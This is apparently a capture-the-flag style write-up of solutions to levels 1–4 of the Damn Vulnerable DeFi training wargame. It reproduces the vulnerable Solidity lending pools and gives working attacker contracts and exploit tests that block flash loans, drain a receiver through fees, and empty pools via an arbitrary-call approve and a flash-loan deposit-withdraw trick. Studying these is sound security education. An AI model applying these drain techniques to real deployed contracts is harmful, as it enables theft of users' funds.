Solving DamnVulnerableDeFi - Part 1 - Levels 1 to 4

Overview

First part of the solutions/exploits for the Most Vulnerable DeFi (tm) out there.

Info

The complete code for these solutions is at my dvdefi-solutions github repo.


Level 1: Unstoppable


A lending pool offers flashloans for free. The goal is to attack the pool and prevent it from offering the loans.

Contract analysis

There are two contracts, the UnstoppableLender, that implements the lending pool and the flashloans, and the ReceiverUnstoppable that acts as the lender.

Anyone can deposit tokens to the pool via depositTokens(uint256), given that the depositor already approved the pool to spend tokens on its behalf. The flashLoan(uint256) function makes some checks regarding granting the loan: the amount asked should be higher than 0, the balance in the pool must be greater than the solicited amount, and at the end of the transaction, that the balance in the pool is equal or greater than the initial balance. In other words, this last condition checks that the loan has been paid back.

An interesting detail, is that ReceiverUnstoppable doesn't inherit from the IReceiver interface. However, it implements the receiveTokens(address, uint256) required function.

 1// SPDX-License-Identifier: MIT
 2
 3pragma solidity ^0.8.0;
 4
 5import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 6import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
 7
 8interface IReceiver {
 9    function receiveTokens(address tokenAddress, uint256 amount) external;
10}
11
12/**
13 * @title UnstoppableLender
14 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
15 */
16contract UnstoppableLender is ReentrancyGuard {
17
18    IERC20 public immutable damnValuableToken;
19    uint256 public poolBalance;
20
21    constructor(address tokenAddress) {
22        require(tokenAddress != address(0), "Token address cannot be zero");
23        damnValuableToken = IERC20(tokenAddress);
24    }
25
26    function depositTokens(uint256 amount) external nonReentrant {
27        require(amount > 0, "Must deposit at least one token");
28        // Transfer token from sender. Sender must have first approved them.
29        damnValuableToken.transferFrom(msg.sender, address(this), amount);
30        poolBalance = poolBalance + amount;
31    }
32
33    function flashLoan(uint256 borrowAmount) external nonReentrant {
34        require(borrowAmount > 0, "Must borrow at least one token");
35
36        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
37        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
38
39        // Ensured by the protocol via the `depositTokens` function
40        assert(poolBalance == balanceBefore);
41        
42        damnValuableToken.transfer(msg.sender, borrowAmount);
43        
44        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
45        
46        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
47        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
48    }
49}
 1// SPDX-License-Identifier: MIT
 2
 3pragma solidity ^0.8.0;
 4
 5import "../unstoppable/UnstoppableLender.sol";
 6import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 7
 8/**
 9 * @title ReceiverUnstoppable
10 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
11 */
12contract ReceiverUnstoppable {
13
14    UnstoppableLender private immutable pool;
15    address private immutable owner;
16
17    constructor(address poolAddress) {
18        pool = UnstoppableLender(poolAddress);
19        owner = msg.sender;
20    }
21
22    // Pool will call this function during the flash loan
23    function receiveTokens(address tokenAddress, uint256 amount) external {
24        require(msg.sender == address(pool), "Sender must be pool");
25        // Return all tokens to the pool
26        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
27    }
28
29    function executeFlashLoan(uint256 amount) external {
30        require(msg.sender == owner, "Only owner can execute flash loan");
31        pool.flashLoan(amount);
32    }
33}

Vulnerability / Attack vector

The pool, in line 40, checks that its internal accounting balance equals the token balance for the pool address.

Solution

Since the solutions have to be coded in the provided *.challenge.js file, I'll show only the relevant part.

To break the game, the procedure is to send some tokens to the pool using the ERC20's transfer(address, uint256) from the interface of the token itself. This will make the require at line 40 to fail and therefore prevents the pool from giving loans.

1it('Exploit', async function () {
2    /** transfer some tokens from the attacker to the pool */
3    await this.token.connect(attacker).transfer(this.pool.address, 1);
4});

Conclusions

Duplicating the accounting usually lead to problems. Anyone can transfer tokens to an address using the ERC20 functions, without letting your pool contract know about it. This has a resemblance to CTE's Retirement fund and others, but this time with tokens instead of ether.


Level 2: Naive Receiver


A lending pool that charges a really cheap fee of 1 ether. The goal is to empty an unsuspecting user's contract.

Contract analysis

The first contract in this level, NaiveReceiverLenderPool, implements the pool. There's a fixedFee() external pure function that returns the 1 ether fee, and the flashLoan(address, uint256) function that lends an amount of ether to the borrower, and makes sure that the loan and fee are paid back. This pool calls a receiveEther(uint256) function on the borrower contract when the loan is granted.

The FlashLoanReceiver contract is the implementation of the user who should receive the loan. It implements the receiveEther(uint256) callback function, and pays back the loan and fee after calling a toy _executeActionDuringFlashLoan() function.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
 5import "@openzeppelin/contracts/utils/Address.sol";
 6
 7/**
 8 * @title NaiveReceiverLenderPool
 9 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
10 */
11contract NaiveReceiverLenderPool is ReentrancyGuard {
12
13    using Address for address;
14
15    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
16
17    function fixedFee() external pure returns (uint256) {
18        return FIXED_FEE;
19    }
20
21    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
22
23        uint256 balanceBefore = address(this).balance;
24        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
25
26
27        require(borrower.isContract(), "Borrower must be a deployed contract");
28        // Transfer ETH and handle control to receiver
29        borrower.functionCallWithValue(
30            abi.encodeWithSignature(
31                "receiveEther(uint256)",
32                FIXED_FEE
33            ),
34            borrowAmount
35        );
36        
37        require(
38            address(this).balance >= balanceBefore + FIXED_FEE,
39            "Flash loan hasn't been paid back"
40        );
41    }
42
43    // Allow deposits of ETH
44    receive () external payable {}
45}
 1// SPDX-License-Identifier: MIT
 2
 3pragma solidity ^0.8.0;
 4
 5import "@openzeppelin/contracts/utils/Address.sol";
 6
 7/**
 8 * @title FlashLoanReceiver
 9 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
10 */
11contract FlashLoanReceiver {
12    using Address for address payable;
13
14    address payable private pool;
15
16    constructor(address payable poolAddress) {
17        pool = poolAddress;
18    }
19
20    // Function called by the pool during flash loan
21    function receiveEther(uint256 fee) public payable {
22        require(msg.sender == pool, "Sender must be pool");
23
24        uint256 amountToBeRepaid = msg.value + fee;
25
26        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
27        
28        _executeActionDuringFlashLoan();
29        
30        // Return funds to pool
31        pool.sendValue(amountToBeRepaid);
32    }
33
34    // Internal function where the funds received are used
35    function _executeActionDuringFlashLoan() internal { }
36
37    // Allow deposits of ETH
38    receive () external payable {}
39}

Vulnerability / Attack vector

Anyone can call flashLoan(address, uint256) and the FlashLoanReceiver implementation has no way to prevent someone to borrow on its behalf.

Solution

To drain the Receiver, the attacker has to call repeatedly the flashLoan(address, uint256) function with the FlashLoanReceiver address as argument. The amount is not important, since the goal is to empty the Receiver via fees.

The second objective was to do it on a single transaction, so I created an attacker contract to do it.

 1
 2// SPDX-License-Identifier: MIT
 3pragma solidity ^0.8.0;
 4
 5interface INaiveReceiverLenderPool {
 6    function flashLoan(address borrower, uint256 borrowAmount) external;
 7}
 8
 9contract NaiveReceiverAttack {
10
11    address pool;
12    address receiver;
13
14    constructor(address _pool, address _receiver) {
15        pool = _pool;
16        receiver = _receiver;
17    }
18
19    function attack() public {
20        while (receiver.balance > 0) {
21            INaiveReceiverLenderPool(pool).flashLoan(receiver, 1);
22        }
23    }
24}

And the test in naive-receiver.challenge.js:

1it('Exploit', async function () {
2    const NaiveReceiverAttackFactory = await ethers.getContractFactory('NaiveReceiverAttack', attacker);
3    this.attackerContract = await NaiveReceiverAttackFactory.deploy(this.pool.address, this.receiver.address);
4
5    await this.attackerContract.attack();
6});

Conclusions

The receiver contract checks that the call comes from the pool, however correct that is, it doesn't solve the problem that anyone can pass the receiver address as argument to the flashLoan(address, uint256) function call in the pool.

Even if the attacker receives no ether or benefits from the attack, it is still a security problem that leads to a loss of funds and potentially to a denial of service.


Level 3: Truster


This pool grants flashloans for free, no fees attached. The goal, again, is to empty it.

Contract analysis

A simple contract that implements the loan logic in the flashLoan(uint256, address, address, bytes) function. It transfers the borrower the amount solicited, and then calls a function on the target argument. The function to be executed is to be calldata encoded in the data argument.

 1// SPDX-License-Identifier: MIT
 2
 3pragma solidity ^0.8.0;
 4
 5import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 6import "@openzeppelin/contracts/utils/Address.sol";
 7import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
 8
 9/**
10 * @title TrusterLenderPool
11 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
12 */
13contract TrusterLenderPool is ReentrancyGuard {
14
15    using Address for address;
16
17    IERC20 public immutable damnValuableToken;
18
19    constructor (address tokenAddress) {
20        damnValuableToken = IERC20(tokenAddress);
21    }
22
23    function flashLoan(
24        uint256 borrowAmount,
25        address borrower,
26        address target,
27        bytes calldata data
28    )
29        external
30        nonReentrant
31    {
32        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
33        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
34        
35        damnValuableToken.transfer(borrower, borrowAmount);
36        target.functionCall(data);
37
38        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
39        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
40    }
41
42}

Vulnerability / Attack vector

The contract can call an arbitrary function of an arbitrary target address. Both the calldata and the target are user-controlled.

Solution

This one is a massive security hole. Basically anyone can call any function on any contract from the pool.

We can't transfer money from the vulnerable call, because of the balance checks implemented. However, the DamnVulnerableToken is an standard ERC20 token, so the contract could call approve() to allow the attacker to drain the balance later.

The logic of the attack is to ask for a loan of 0 tokens so the balance check succeeds, and make the pool approve() a big enough number of tokens to be spent by the attacker. In succession, the attacker will perform a transfer of the now allowed tokens to its own address.

 1// SPDX-License-Identifier: MIT
 2
 3pragma solidity ^0.8.0;
 4
 5import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 6import "hardhat/console.sol";
 7
 8interface ITrusterLenderPool {
 9    function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data) external;
10}
11
12contract TrusterLenderPoolAttacker {
13
14    address pool;
15    address dvtoken;
16
17    constructor(address _pool, address _dvtoken) {
18        pool = _pool;
19        dvtoken = _dvtoken;
20    }
21
22    function attack() public {
23        uint256 balance = IERC20(dvtoken).balanceOf(pool);
24        bytes memory functionToCall = abi.encodeWithSignature("approve(address,uint256)", address(this), balance);
25
26        ITrusterLenderPool(pool).flashLoan(0, address(this), dvtoken, functionToCall);
27        IERC20(dvtoken).transferFrom(pool, msg.sender, balance);
28    }
29}

And the test in truster.challenge.js:

1it('Exploit', async function () {
2    const TrusterLenderPoolAttackerFactory = await ethers.getContractFactory('TrusterLenderPoolAttacker', attacker);
3    this.attackerContract = await TrusterLenderPoolAttackerFactory.deploy(this.pool.address, this.token.address);
4
5    await this.attackerContract.connect(attacker).attack();
6});

Conclusions

Again, a user-controlled function call from the contract's context is a bad idea.


Level 4: Side Entrance


This level's pool can lend and also allows anyone to deposit or withdraw ether. There are no fees, and the goal is to drain it.

Contract analysis

The SideEntranceLenderPool contract implements the pool. The functions deposit() and withdraw() allow anyone to add some ether to the pool or to retrieve it. The contract has an internal accounting for this task, in the mapping balances.

The flashLoan(uint256) function implements the lending process. This time, the one taking the loan is msg.sender, and the contract calls its execute() function when the loan is granted. The logic checks that the loan is paid back at the end.

 1// SPDX-License-Identifier: MIT
 2
 3pragma solidity ^0.8.0;
 4import "@openzeppelin/contracts/utils/Address.sol";
 5
 6interface IFlashLoanEtherReceiver {
 7    function execute() external payable;
 8}
 9
10/**
11 * @title SideEntranceLenderPool
12 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
13 */
14contract SideEntranceLenderPool {
15    using Address for address payable;
16
17    mapping (address => uint256) private balances;
18
19    function deposit() external payable {
20        balances[msg.sender] += msg.value;
21    }
22
23    function withdraw() external {
24        uint256 amountToWithdraw = balances[msg.sender];
25        balances[msg.sender] = 0;
26        payable(msg.sender).sendValue(amountToWithdraw);
27    }
28
29    function flashLoan(uint256 amount) external {
30        uint256 balanceBefore = address(this).balance;
31        require(balanceBefore >= amount, "Not enough ETH in balance");
32        
33        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
34
35        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
36    }
37}
38 

Vulnerability / Attack vector

The check to verify that the loan has been paid back reads the pool's balance. This allows the attacker to ask for a loan and then deposit it to the pool, taking ownership of the funds.

Solution

This implementation takes a loan, deposits it to the pool and then withdraws it. This is allowed by the logic of both the flashLoan(uint256) and withdraw() functions.

 1// SPDX-License-Identifier: MIT
 2
 3pragma solidity ^0.8.0;
 4
 5interface IFlashLoanEtherReceiver {
 6    function execute() external payable;
 7}
 8
 9interface ISideEntranceLenderPool {
10    function deposit() external payable;
11    function withdraw() external;
12    function flashLoan(uint256 amount) external;
13}
14
15contract SideEntranceLenderPoolAttack is IFlashLoanEtherReceiver {
16
17    ISideEntranceLenderPool pool;
18
19    constructor(address _pool) {
20        pool = ISideEntranceLenderPool(_pool);
21    }
22
23    function execute() external payable override {
24        pool.deposit{value:address(this).balance}();
25    }
26
27    function attack() public {
28        pool.flashLoan(address(pool).balance);
29        pool.withdraw();
30        payable(msg.sender).call{value:address(this).balance}("");
31    }
32
33    receive() external payable {}
34}

And the test in side-entrance.challenge.js:

1it('Exploit', async function () {
2    const SideEntranceLenderPoolAttackFactory = await ethers.getContractFactory('SideEntranceLenderPoolAttack', attacker);
3    this.attackerContract = await SideEntranceLenderPoolAttackFactory.deploy(this.pool.address);
4
5    this.attackerContract.connect(attacker).attack();
6});

Conclusions

Checking against the pool balance allowed the flashloan to succeed, while at the same time allowed the funds to be stolen.

Posts in this Series

comments powered by Disqus